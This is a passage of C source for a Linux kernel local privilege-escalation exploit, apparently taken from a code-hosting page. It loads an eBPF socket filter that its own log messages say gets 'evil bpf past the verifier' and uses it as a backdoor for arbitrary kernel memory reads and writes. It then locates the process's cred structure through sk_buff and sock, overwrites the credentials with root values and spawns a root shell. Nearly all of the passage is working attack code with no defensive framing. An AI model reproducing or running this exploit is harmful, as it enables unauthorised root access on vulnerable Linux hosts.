BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), /* if (op == 0) */
/* get fp */
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3), /* else if (op == 1) */
/* get skbuff */
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16),
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3), /* else if (op == 2) */
/* read */
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
BPF_EXIT_INSN(),
/* else */
/* write */
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0);
}
void info(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[.] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void msg(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[*] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void redact(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
if(doredact) {
fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n");
return;
}
fprintf(stdout, "[*] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void fail(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[!] ");
vfprintf(stdout, fmt, args);
va_end(args);
exit(1);
}
void
initialize() {
info("\n");
info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n");
info("\n");
info(" ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n");
info("\n");
redact("creating bpf map\n");
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0);
if (mapfd < 0) {
fail("failed to create bpf map: '%s'\n", strerror(errno));
}
redact("sneaking evil bpf past the verifier\n");
progfd = load_prog();
if (progfd < 0) {
if (errno == EACCES) {
msg("log:\n%s", bpf_log_buf);
}
fail("failed to load prog '%s'\n", strerror(errno));
}
redact("creating socketpair()\n");
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {
fail("failed to create socket pair '%s'\n", strerror(errno));
}
redact("attaching bpf backdoor to socket\n");
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) {
fail("setsockopt '%s'\n", strerror(errno));
}
}
static void writemsg() {
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0) {
perror("write");
return;
}
if (n != sizeof(buffer)) {
fprintf(stderr, "short write: %zd\n", n);
}
}
static void
update_elem(int key, unsigned long value) {
if (bpf_update_elem(mapfd, &key, &value, 0)) {
fail("bpf_update_elem failed '%s'\n", strerror(errno));
}
}
static unsigned long
get_value(int key) {
unsigned long value;
if (bpf_lookup_elem(mapfd, &key, &value)) {
fail("bpf_lookup_elem failed '%s'\n", strerror(errno));
}
return value;
}
static unsigned long
sendcmd(unsigned long op, unsigned long addr, unsigned long value) {
update_elem(0, op);
update_elem(1, addr);
update_elem(2, value);
writemsg();
return get_value(2);
}
unsigned long
get_skbuff() {
return sendcmd(1, 0, 0);
}
unsigned long
get_fp() {
return sendcmd(0, 0, 0);
}
unsigned long
read64(unsigned long addr) {
return sendcmd(2, addr, 0);
}
void
write64(unsigned long addr, unsigned long val) {
(void)sendcmd(3, addr, val);
}
static unsigned long find_cred() {
uid_t uid = getuid();
unsigned long skbuff = get_skbuff();
/*
* struct sk_buff {
* [...24 byte offset...]
* struct sock *sk;
* };
*
*/
unsigned long sock_addr = read64(skbuff + 24);
msg("skbuff => %llx\n", skbuff);
msg("Leaking sock struct from %llx\n", sock_addr);
if(sock_addr < PHYS_OFFSET){
fail("Failed to find Sock address from sk_buff.\n");
}
/*
* scan forward for expected sk_rcvtimeo value.
*
* struct sock {
* [...]
* const struct cred *sk_peer_cred;
* long sk_rcvtimeo;
* };
*/
for (int i = 0; i < 100; i++, sock_addr += 8) {
if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) {
unsigned long cred_struct = read64(sock_addr - 8);
if(cred_struct < PHYS_OFFSET) {
continue;
}
unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF);
if(test_uid != uid) {
continue;
}
msg("Sock->sk_rcvtimeo at offset %d\n", i * 8);
msg("Cred structure at %llx\n", cred_struct);
msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid);
return cred_struct;
}
}
fail("failed to find sk_rcvtimeo.\n");
}
static void
hammer_cred(unsigned long addr) {
msg("hammering cred structure at %llx\n", addr);
#define w64(w) { write64(addr, (w)); addr += 8; }
unsigned long val = read64(addr) & 0xFFFFFFFFUL;
w64(val);
w64(0); w64(0); w64(0); w64(0);
w64(0xFFFFFFFFFFFFFFFF);
w64(0xFFFFFFFFFFFFFFFF);
w64(0xFFFFFFFFFFFFFFFF);
#undef w64
}
int
main(int argc, char **argv) {
initialize();
hammer_cred(find_cred());
msg("credentials patched, launching shell...\n");
if(execl("/bin/sh", "/bin/sh", NULL)) {
fail("exec %s\n", strerror(errno));
}
}

Some files were not shown because too many files have changed in this diff Show More